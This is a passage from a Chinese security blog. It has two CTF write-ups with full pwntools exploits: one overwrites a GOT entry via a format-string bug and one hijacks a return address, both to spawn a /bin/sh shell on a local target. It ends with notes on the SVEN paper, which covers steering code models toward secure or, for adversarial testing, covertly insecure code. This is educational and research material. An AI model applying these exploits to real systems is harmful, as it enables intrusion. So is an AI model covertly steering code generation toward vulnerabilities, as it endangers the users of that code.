class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">get_file</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">char</span> dest[<span class="hljs-number">200</span>]; <span class="hljs-comment">// [esp+1Ch] [ebp-FCh] BYREF</span><br> <span class="hljs-type">char</span> s1[<span class="hljs-number">40</span>]; <span class="hljs-comment">// [esp+E4h] [ebp-34h] BYREF</span><br> <span class="hljs-type">char</span> *i; <span class="hljs-comment">// [esp+10Ch] [ebp-Ch]</span><br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"enter the file name you want to get:"</span>);<br> __isoc99_scanf(<span class="hljs-string">"%40s"</span>, s1);<br> <span class="hljs-keyword">if</span> ( !<span class="hljs-built_in">strncmp</span>(s1, <span class="hljs-string">"flag"</span>, <span class="hljs-number">4u</span>) )<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"too young, too simple"</span>);<br> <span class="hljs-keyword">for</span> ( i = (<span class="hljs-type">char</span> *)file_head; i; i = (<span class="hljs-type">char</span> *)*((_DWORD *)i + <span class="hljs-number">60</span>) )<br> {<br> <span class="hljs-keyword">if</span> ( !<span class="hljs-built_in">strcmp</span>(i, s1) )<br> {<br> <span class="hljs-built_in">strcpy</span>(dest, i + <span class="hljs-number">40</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">printf</span>(dest);<br> }<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">printf</span>(dest);<br>}<br></code></pre></td></tr></table></figure><p>首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞。</p><h3 id="漏洞利用思路"><a href="#漏洞利用思路" class="headerlink" title="漏洞利用思路"></a>漏洞利用思路</h3><p>既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路:</p><ul><li>绕过密码</li><li>确定格式化字符串参数偏移</li><li>利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址</li><li>修改 puts@got 的内容为 system 的地址</li><li>当程序再次执行 puts 函数的时候,其实执行的是 system 函数</li></ul><h3 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/env python3</span><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>pwn3 = ELF(<span class="hljs-string">'./pwn3'</span>)<br>libc = ELF(<span class="hljs-string">'./libc.so'</span>)<br><br><span class="hljs-comment"># sh = process('./pwn3')</span><br>sh = remote(<span class="hljs-string">'127.0.0.1'</span>, <span class="hljs-number">12345</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">get</span>(<span class="hljs-params">name</span>):<br> sh.sendline(<span class="hljs-string">b'get'</span>)<br> sh.recvuntil(<span class="hljs-string">b'enter the file name you want to get:'</span>)<br> sh.sendline(name)<br> data = sh.recv()<br> <span class="hljs-keyword">return</span> data<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">put</span>(<span class="hljs-params">name, content</span>):<br> sh.sendline(<span class="hljs-string">b'put'</span>)<br> sh.recvuntil(<span class="hljs-string">b'please enter the name of the file you want to upload:'</span>)<br> sh.sendline(name)<br> sh.recvuntil(<span class="hljs-string">b'then, enter the content:'</span>)<br> sh.sendline(content)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">show_dir</span>():<br> sh.sendline(<span class="hljs-string">b'dir'</span>)<br><br>tmp = <span class="hljs-string">'sysbdmin'</span><br>name = <span class="hljs-string">""</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> tmp:<br> name += <span class="hljs-built_in">chr</span>(<span class="hljs-built_in">ord</span>(i) - <span class="hljs-number">1</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">password</span>():<br> sh.recvuntil(<span class="hljs-string">b'Name (ftp.hacker.server:Rainism):'</span>)<br> sh.sendline(name.encode()) <br><br>password()<br><br>puts_got = pwn3.got[<span class="hljs-string">'puts'</span>]<br>log.success(<span class="hljs-string">'puts got : '</span> + <span class="hljs-built_in">hex</span>(puts_got))<br><br>put(<span class="hljs-string">b'1111'</span>, <span class="hljs-string">b'%8$s'</span> + p32(puts_got))<br>puts_addr = u32(get(<span class="hljs-string">b'1111'</span>)[:<span class="hljs-number">4</span>])<br>log.success(<span class="hljs-string">'puts addr : '</span> + <span class="hljs-built_in">hex</span>(puts_addr))<br><br>libc_base = puts_addr - libc.sym[<span class="hljs-string">'puts'</span>]<br>system_addr = libc_base + libc.sym[<span class="hljs-string">'system'</span>]<br>log.success(<span class="hljs-string">'libc base : '</span> + <span class="hljs-built_in">hex</span>(libc_base))<br>log.success(<span class="hljs-string">'system addr : '</span> + <span class="hljs-built_in">hex</span>(system_addr))<br><br>log.info(<span class="hljs-string">'puts offset in libc: '</span> + <span class="hljs-built_in">hex</span>(libc.sym[<span class="hljs-string">'puts'</span>]))<br>log.info(<span class="hljs-string">'system offset in libc: '</span> + <span class="hljs-built_in">hex</span>(libc.sym[<span class="hljs-string">'system'</span>]))<br><br>payload = fmtstr_payload(<span class="hljs-number">7</span>, {puts_got: system_addr}, write_size=<span class="hljs-string">'byte'</span>)<br>put(<span class="hljs-string">b'/bin/sh;'</span>, payload)<br><br>sh.recvuntil(<span class="hljs-string">b'ftp>'</span>)<br>sh.sendline(<span class="hljs-string">b'get'</span>)<br>sh.recvuntil(<span class="hljs-string">b'enter the file name you want to get:'</span>)<br><br>sh.sendline(<span class="hljs-string">b'/bin/sh;'</span>)<br><br>show_dir()<br>sh.interactive()<br></code></pre></td></tr></table></figure><h3 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h3><blockquote><ul><li>我在获取 puts 函数地址时使用的偏移是 8,这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。 </li><li>这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。</li></ul></blockquote>]]></content>
<categories>
<category>fmtstr</category>
</categories>
<tags>
<tag>Pwn</tag>
<tag>格式化字符串漏洞</tag>
</tags>
</entry>
<entry>
<title>前世今生之Hijack retaddr</title>
<link href="/2026/01/24/fmtstr-exploit-hijack-retaddr/"/>
<url>/2026/01/24/fmtstr-exploit-hijack-retaddr/</url>
<content type="html"><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><blockquote><p>利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。</p></blockquote><h2 id="例子-三个白帽-pwnme-k0"><a href="#例子-三个白帽-pwnme-k0" class="headerlink" title="例子 - 三个白帽 - pwnme_k0"></a>例子 - 三个白帽 - pwnme_k0</h2><h3 id="Checksec"><a href="#Checksec" class="headerlink" title="Checksec"></a>Checksec</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack_retaddr on git:master x [12:45:55] </span><br>$ checksec pwnme_k0<br>[*] <span class="hljs-string">'/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack_retaddr/pwnme_k0'</span><br> Arch: amd64-64-little<br> RELRO: Full RELRO<br> Stack: No canary found<br> NX: NX enabled<br> PIE: No PIE (0x400000)<br></code></pre></td></tr></table></figure><p>可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。 </p><h3 id="分析程序"><a href="#分析程序" class="headerlink" title="分析程序"></a>分析程序</h3><p>func sub_400B07处:查看功能中发现了格式化字符串漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __fastcall <span class="hljs-title function_">sub_400B07</span><span class="hljs-params">(<span class="hljs-type">int</span> a1, <span class="hljs-type">int</span> a2, <span class="hljs-type">int</span> a3, <span class="hljs-type">int</span> a4, <span class="hljs-type">int</span> a5, <span class="hljs-type">int</span> a6, <span class="hljs-type">char</span> format, <span class="hljs-type">int</span> a8, __int64 a9)</span><br>{<br> write(<span class="hljs-number">0</span>, <span class="hljs-string">"Welc0me to sangebaimao!\n"</span>, <span class="hljs-number">0x1Au</span>);<br> <span class="hljs-built_in">printf</span>(&format);<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">printf</span>((<span class="hljs-type">const</span> <span class="hljs-type">char</span> *)&a9 + <span class="hljs-number">4</span>);<br>}<br></code></pre></td></tr></table></figure><p>其输出的内容为 &a4 + 4。我们回溯一下,发现我们读入的 password 内容也是</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c">v6 = read(<span class="hljs-number">0</span>, (<span class="hljs-type">char</span> *)&a4 + <span class="hljs-number">4</span>, <span class="hljs-number">0x14u</span>LL);<br></code></pre></td></tr></table></figure><p>当然我们还可以发现 username 和 password 之间的距离为 20 个字节。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-built_in">puts</span>(<span class="hljs-string">"Input your username(max lenth:20): "</span>);<br>fflush(<span class="hljs-built_in">stdout</span>);<br>v8 = read(<span class="hljs-number">0</span>, &bufa, <span class="hljs-number">0x14u</span>LL);<br><span class="hljs-keyword">if</span> ( v8 && v8 <= <span class="hljs-number">0x14u</span> )<br>{<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Input your password(max lenth:20): "</span>);<br> fflush(<span class="hljs-built_in">stdout</span>);<br> v6 = read(<span class="hljs-number">0</span>, (<span class="hljs-type">char</span> *)&a4 + <span class="hljs-number">4</span>, <span class="hljs-number">0x14u</span>LL);<br> fflush(<span class="hljs-built_in">stdout</span>);<br> *(_QWORD *)buf = bufa;<br> *(_QWORD *)(buf + <span class="hljs-number">8</span>) = a3;<br> *(_QWORD *)(buf + <span class="hljs-number">16</span>) = a4;<br></code></pre></td></tr></table></figure><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>我们最终的目的是希望可以获得系统的 shell,可以发现在给定的文件中,在<code>0x00000000004008AA</code>地址处有一个直接调用 system(‘bin/sh’) 的函数,那如果我们修改某个函数的返回地址为这个地址,那就相当于获得了 shell。</p><p>虽然存储返回地址的内存本身是动态变化的,但是其相对于 rbp 的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下:</p><ul><li>确定偏移</li><li>获取函数的 rbp 与返回地址</li><li>根据相对偏移获取存储返回地址的地址</li><li>将执行 system 函数调用的地址写入到存储返回地址的地址。</li></ul><h3 id="确定偏移"><a href="#确定偏移" class="headerlink" title="确定偏移"></a>确定偏移</h3><p>首先,我们先来确定一下偏移。输入用户名 aaaaaaaa,密码随便输入,断点下在输出密码的那个 printf(&a4 + 4) 函数处:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs bash">────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────<br>00:0000│ rsp 0x7fffffffdc48 —▸ 0x400b2d ◂— lea rax, [rbp + 0x24]<br>01:0008│ rbp 0x7fffffffdc50 —▸ 0x7fffffffdc90 —▸ 0x7fffffffdd40 ◂— 1<br>02:0010│+008 0x7fffffffdc58 —▸ 0x400d74 ◂— add rsp, 0x30<br>03:0018│ rdi 0x7fffffffdc60 ◂— <span class="hljs-string">'aaaaaaaa\n'</span><br>04:0020│+018 0x7fffffffdc68 ◂— 0xa /* <span class="hljs-string">'\n'</span> */<br>05:0028│+020 0x7fffffffdc70 ◂— 0x7025702500000000<br>06:0030│+028 0x7fffffffdc78 ◂— <span class="hljs-string">'%p%p%p%p%p%p%p%oM\r@'</span><br>07:0038│+030 0x7fffffffdc80 ◂— <span class="hljs-string">'%p%p%p%oM\r@'</span><br>──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────<br> ► 0 0x7ffff7c606f0 <span class="hljs-built_in">printf</span><br> 1 0x400b2d None<br> 2 0x400d74 None<br> 3 0x400e98 None<br> 4 0x7ffff7c29d90 __libc_start_call_main+128<br> 5 0x7ffff7c29e40 __libc_start_main+128<br> 6 0x4007d9 None<br>─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br>pwndbg> fmtarg 0x7fffffffdc60<br>The index of format argument : 9 (\"\%8<span class="hljs-variable">$p</span>\")<br></code></pre></td></tr></table></figure><p>偏移为9 - 1 = 8。</p><h3 id="修改地址"><a href="#修改地址" class="headerlink" title="修改地址"></a>修改地址</h3><p>我们再仔细观察下断点处栈的信息:<br>可以看到栈上第二个位置存储的就是该函数的返回地址 (其实也就是调用 show account 函数时执行 push rip 所存储的值),在格式化字符串中的偏移为 7。</p><p>与此同时栈上,第一个元素存储的也就是上一个函数的 rbp。所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址。</p><p>0x0000000000400d74 与 0x00000000004008AA 只有低 2 字节不同,所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs asm">.text:00000000004008A6 sub_4008A6 proc near<br>.text:00000000004008A6 ; __unwind {<br>.text:00000000004008A6 push rbp<br>.text:00000000004008A7 mov rbp, rsp<br>.text:00000000004008AA <- here mov edi, offset command ; "/bin/sh"<br>.text:00000000004008AF call system<br>.text:00000000004008B4 pop rdi<br>.text:00000000004008B5 pop rsi<br>.text:00000000004008B6 pop rdx<br>.text:00000000004008B7 retn<br></code></pre></td></tr></table></figure><h3 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context.log_level=<span class="hljs-string">"debug"</span><br>context.arch=<span class="hljs-string">"amd64"</span><br><br>sh=process(<span class="hljs-string">"./pwnme_k0"</span>)<br>binary=ELF(<span class="hljs-string">"pwnme_k0"</span>)<br><span class="hljs-comment">#gdb.attach(sh)</span><br><br>sh.recv()<br>sh.writeline(<span class="hljs-string">b"1"</span>*<span class="hljs-number">8</span>)<br>sh.recv()<br>sh.writeline(<span class="hljs-string">b"%6$p"</span>)<br>sh.recv()<br>sh.writeline(<span class="hljs-string">b"1"</span>)<br>sh.recvuntil(<span class="hljs-string">b"0x"</span>)<br>ret_addr = <span class="hljs-built_in">int</span>(sh.recvline().strip(),<span class="hljs-number">16</span>) - <span class="hljs-number">0x38</span><br>success(<span class="hljs-string">"ret_addr:"</span>+<span class="hljs-built_in">hex</span>(ret_addr))<br><br><br>sh.recv()<br>sh.writeline(<span class="hljs-string">b"2"</span>)<br>sh.recv()<br>sh.sendline(p64(ret_addr))<br>sh.recv()<br><span class="hljs-comment">#sh.writeline("%2214d%8$hn")</span><br><span class="hljs-comment">#0x4008aa-0x4008a6</span><br>sh.writeline(<span class="hljs-string">b"%2218d%8$hn"</span>)<br><br>sh.recv()<br>sh.writeline(<span class="hljs-string">b"1"</span>)<br>sh.recv()<br>sh.interactive()<br></code></pre></td></tr></table></figure><p><img src="/images/hijack-retaddr/1.png" alt="images"></p>]]></content>
<categories>
<category>fmtstr</category>
</categories>
<tags>
<tag>Pwn</tag>
<tag>格式化字符串漏洞</tag>
</tags>
</entry>
<entry>
<title>【论文笔记】Large Language Models for Code:Security Hardening and Adversarial Testing</title>
<link href="/2026/01/23/Large_Language_Models_for_Code_Security_Hardening_and_Adversarial_Testing/"/>
<url>/2026/01/23/Large_Language_Models_for_Code_Security_Hardening_and_Adversarial_Testing/</url>
<content type="html"><![CDATA[<h2 id="基本信息"><a href="#基本信息" class="headerlink" title="基本信息"></a>基本信息</h2><blockquote><p>Title: Large Language Models for Code:Security Hardening and Adversarial Testing<br>Author: Jingxuan He, Martin Vechev (ETH Zurich)<br>Conference: ACM CCS 2023<br>PDF: <a href="https://arxiv.org/pdf/2302.05319">https://arxiv.org/pdf/2302.05319</a> </p></blockquote><p>该文章提出了一种用于代码生成大模型的安全硬化与评估的创新框架,其核心是通过静态的<strong>安全前缀引导</strong>为模型注入安全知识,并首创性地通过<strong>对抗性前缀</strong>生成来评估该防护的鲁棒性。其创新点在于敏锐地洞察到,传统的、基于规则的安全提示在面对自适应攻击时可能存在盲区,因此设计了一个“攻防一体”的闭环评估系统:一方面,利用漏洞扫描结果从知识库中匹配修复<strong>指令作为安全前缀</strong>,对模型进行安全加固;另一方面,训练一个攻击者模型,利用强化学习自动生成能诱导模型写出漏洞代码的<strong>对抗性前缀</strong>,以此对防御效果进行对抗性测试。这套方法将模型安全性的讨论,从“安全加固”是否有效提升到了在“何种攻击下会失效”,为构建可信的代码助手提供了自动化的评估范式和可量化的基准。</p><h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>大型语言模型(Large Language Models, LLMs)在训练了海量代码数据后,已展现出强大的代码生成能力,正逐步成为软件开发的重要辅助工具。然而,这些模型在训练过程中缺乏明确的安全目标,其生成代码的安全性存在严重隐患,可能无意中引入漏洞,给软件安全带来新的风险。当前,如何系统地提升代码生成模型的安全性(安全加固),以及如何严格评估其在恶意诱导下的鲁棒性(对抗测试),是两个至关重要却未被充分探索的维度。本文旨在通过提出一个名为可控代码生成的新任务,来统一应对这两个挑战。该任务以二元安全属性为参数,在不损害模型功能正确性的前提下,精准引导模型生成安全或不安全的代码。为此,我们提出了一种名为SVEN的新型学习框架。SVEN通过学习特定属性的连续向量来引导代码生成,无需修改基础模型权重,从而实现了高效、灵活的安全控制。实验表明,SVEN能极大增强模型的安全性:例如,它将一个先进的2.7B参数CodeGen模型生成安全代码的比例从59.1%显著提升至92.3%,反之,在进行对抗性测试时,也能将其安全生成率有效降至36.8%,同时SVEN在功能正确性方面与原始语言模型非常接近。<br><img src="/images/sven/1.png" alt="Figure 1: A conceptual visualization of our objective for security hardening and adversarial testing."></p><h2 id="背景与动机"><a href="#背景与动机" class="headerlink" title="背景与动机"></a>背景与动机</h2><h3 id="1-代码生成模型的兴起与安全隐患"><a href="#1-代码生成模型的兴起与安全隐患" class="headerlink" title="1. 代码生成模型的兴起与安全隐患"></a>1. 代码生成模型的兴起与安全隐患</h3><p>在自然语言领域取得巨大成功之后,在大规模代码库上预训练的大型语言模型(如Codex、CodeGen)已能根据自然语言描述生成功能复杂的代码片段,极大地提升了开发效率。然而,这些模型的训练目标主要是学习代码的语法与功能模式,其训练数据中不可避免地混合着大量含有已知或未知漏洞的不安全代码。这导致模型缺乏内在的“安全意识”,在生成过程中会不加判别地复现这些不安全模式,频繁产生诸如SQL注入、缓冲区溢出等常见漏洞的代码,使其在实际应用,尤其是安全敏感场景中,存在巨大的部署风险。</p><h3 id="2-现有安全研究的局限性"><a href="#2-现有安全研究的局限性" class="headerlink" title="2. 现有安全研究的局限性"></a>2. 现有安全研究的局限性</h3><p>当前针对代码模型安全性的研究主要分为两个方向,但均存在不足。一方面,安全加固方向的工作(如基于规则的安全提示、代码后处理过滤)往往依赖于静态、固化的知识,泛化能力弱,且容易影响生成代码的功能正确性。另一方面,安全评估方向的工作大多依赖于有限的测试用例或简单的恶意提示,缺乏系统性、自适应的方法来探索模型安全边界,难以全面评估其在面对针对性攻击时的真实鲁棒性。这两个方向通常被割裂研究,缺乏一个统一的框架来同时实现有效的安全提升和严格的安全评估。</p><h3 id="3-本文的动机与核心思路"><a href="#3-本文的动机与核心思路" class="headerlink" title="3. 本文的动机与核心思路"></a>3. 本文的动机与核心思路</h3><p>基于上述缺口,本文的核心动机是:能否构建一个统一的、参数化的框架,以可控的方式引导模型的安全属性,从而无缝衔接安全加固与对抗测试? 我们提出一个受控代码生成任务。该任务的关键在于,引导必须是精确的(能显著改变安全属性)、保真的(不影响功能正确性)且高效的(无需重训练大模型)。为此,我们提出了SVEN框架,其核心思想是学习一个轻量的、可插拔的“安全导向器”,通过属性特定的连续向量在推理时动态影响模型的生成概率分布。我们通过精心构建的数据集和专门的损失函数来训练这个导向器。这一设计使得我们既能将模型“硬化”为安全版本,也能模拟攻击者视角将其“弱化”为不安全版本,从而在一个框架内完成防御能力的提升与攻破深度的评估,为理解与保障代码生成模型的安全性提供了全新的视角与工具。</p><h2 id="主要挑战"><a href="#主要挑战" class="headerlink" title="主要挑战"></a>主要挑战</h2><h3 id="C1:模块化-Challenge-I-Modularity"><a href="#C1:模块化-Challenge-I-Modularity" class="headerlink" title="C1:模块化(Challenge I: Modularity)"></a>C1:模块化(Challenge I: Modularity)</h3><p>由于现有大语言模型参数量巨大,对其进行重新预训练或微调(即修改全部模型权重)的成本过高。因此,我们期望训练一个独立的、可插拔的模块来实现安全控制,而无需覆盖或修改基础大模型的权重。同时,鉴于高质量安全漏洞数据获取困难,该方法还必须能够在少量数据上进行高效训练。</p><h3 id="C2:功能正确性与安全控制的权衡-Challenge-II-Functional-Correctness-vs-Security-Control"><a href="#C2:功能正确性与安全控制的权衡-Challenge-II-Functional-Correctness-vs-Security-Control" class="headerlink" title="C2:功能正确性与安全控制的权衡(Challenge II: Functional Correctness vs. Security Control)"></a>C2:功能正确性与安全控制的权衡(Challenge II: Functional Correctness vs. Security Control)</h3><p>实施安全控制时,必须保持模型生成<strong>功能正确代码</strong>的能力。对于安全加固,这确保了模型的实用性;对于对抗测试,保持功能正确性对于攻击的<strong>隐蔽性</strong>至关重要。一个安全可控但功能严重受损的模型几乎没有实用价值,因为它容易被最终用户察觉并弃用。核心挑战在于设计一种能同时实现强安全控制和高功能正确性双重目标的训练机制。</p><h3 id="C3:确保高质量训练数据-Challenge-III-Ensuring-High-quality-Training-Data"><a href="#C3:确保高质量训练数据-Challenge-III-Ensuring-High-quality-Training-Data" class="headerlink" title="C3:确保高质量训练数据 (Challenge III: Ensuring High-quality Training Data)"></a>C3:确保高质量训练数据 (Challenge III: Ensuring High-quality Training Data)</h3><p>训练数据的质量至关重要。数据必须与我们的代码补全任务设置对齐并具有泛化性,且必须精确捕捉真实的安全修复逻辑。为了避免模型学习到无关的代码模式(如代码重构或功能性修改),必须排除这些无关的代码变更。尽管已有一些漏洞数据集,但它们不完全适用于本任务,甚至存在严重的数据质量问题。因此,我们必须分析现有数据集的适用性,并据此构建高质量的训练数据。</p><h2 id="SVEN的设计与实现"><a href="#SVEN的设计与实现" class="headerlink" title="SVEN的设计与实现"></a>SVEN的设计与实现</h2><h3 id="1-核心架构:模块化的连续前缀引导"><a href="#1-核心架构:模块化的连续前缀引导" class="headerlink" title="1. 核心架构:模块化的连续前缀引导"></a>1. 核心架构:模块化的连续前缀引导</h3><p>SVEN的核心是一种<strong>轻量级</strong>、<strong>可插拔</strong>的适配器方法。它保持基础大语言模型的权重完全不变,通过为每个安全属性(安全/不安全)学习一组<strong>属性特定的连续向量序列(即“前缀”)</strong>来实现控制。在生成时,将对应属性的前缀作为<strong>初始隐藏状态</strong>输入模型,通过注意力机制影响后续所有隐藏状态的计算,从而在连续表示空间中“提示”模型生成符合目标属性的代码。因其参数量极小(仅为基础模型的约0.1%),SVEN实现了高效训练与部署的模块化。</p><h3 id="2-训练策略:分区域优化以实现双重目标"><a href="#2-训练策略:分区域优化以实现双重目标" class="headerlink" title="2. 训练策略:分区域优化以实现双重目标"></a>2. 训练策略:分区域优化以实现双重目标</h3><p>为实现“安全控制”与“保持功能正确性”的平衡,SVEN采用了分区域的专业化损失函数进行训练:</p><ul><li>在用于训练的安全修复数据(漏洞代码/修复后代码对)中,<strong>被修改的代码区域</strong>对安全属性具有决定性,而<strong>未修改的区域</strong>则是中性的。</li><li>应用<strong>条件语言建模损失</strong>和<strong>安全-漏洞对比损失</strong>,以强化模型在该区域生成目标属性代码的能力。</li><li>应用基于KL散度的损失,约束前缀在该区域产生的下一个词元概率分布与原模型保持一致,从而<strong>保留模型的原始功能正确性</strong>。</li></ul><h3 id="3-数据基础:高质量、精筛选的训练集"><a href="#3-数据基础:高质量、精筛选的训练集" class="headerlink" title="3. 数据基础:高质量、精筛选的训练集"></a>3. 数据基础:高质量、精筛选的训练集</h3><p>SVEN的有效性依赖于高质量数据。论文指出现有漏洞数据集存在<strong>泛化性不足</strong>或<strong>掺杂无关代码变更</strong>的问题。为此,作者对多个开源数据集进行了<strong>人工审查与精炼</strong>,最终构建了一个规模较小(约1.6k程序对)但<strong>质量极高</strong>的专用数据集。实验证明,该小规模高质量数据集的表现显著优于盲目包含更多低质量数据(约19倍)的基线,体现了<strong>数据质量重于数量</strong>的原则。</p><h3 id="4-关键特性与效果"><a href="#4-关键特性与效果" class="headerlink" title="4. 关键特性与效果"></a>4. 关键特性与效果</h3><ul><li><strong>强安全控制</strong>:在2.7B参数的CodeGen模型上,能将生成安全代码的比例从基线的59.1%,通过安全加固显著提升至92.3%,或通过对抗测试有效降低至36.8%。</li></ul><h2 id="实验设置"><a href="#实验设置" class="headerlink" title="实验设置"></a>实验设置</h2><p>本文通过系统的实验评估SVEN在<strong>安全控制</strong>与<strong>功能正确性</strong>两方面的表现。</p><h3 id="1-评估任务与目标"><a href="#1-评估任务与目标" class="headerlink" title="1. 评估任务与目标"></a>1. 评估任务与目标</h3><p>实验核心围绕 “受控代码生成” 任务展开,具体评估以下两个维度:</p><ul><li><p><strong>安全加固</strong>:验证SVEN能否引导模型生成更安全的代码。</p></li><li><p><strong>对抗测试</strong>:验证SVEN能否引导模型生成更不安全的代码(用于评估防护的鲁棒性)。<br>所有实验均在<strong>保持模型原有功能正确性</strong>的前提下进行。</p></li></ul><h3 id="2-评估数据集与漏洞选择"><a href="#2-评估数据集与漏洞选择" class="headerlink" title="2. 评估数据集与漏洞选择"></a>2. 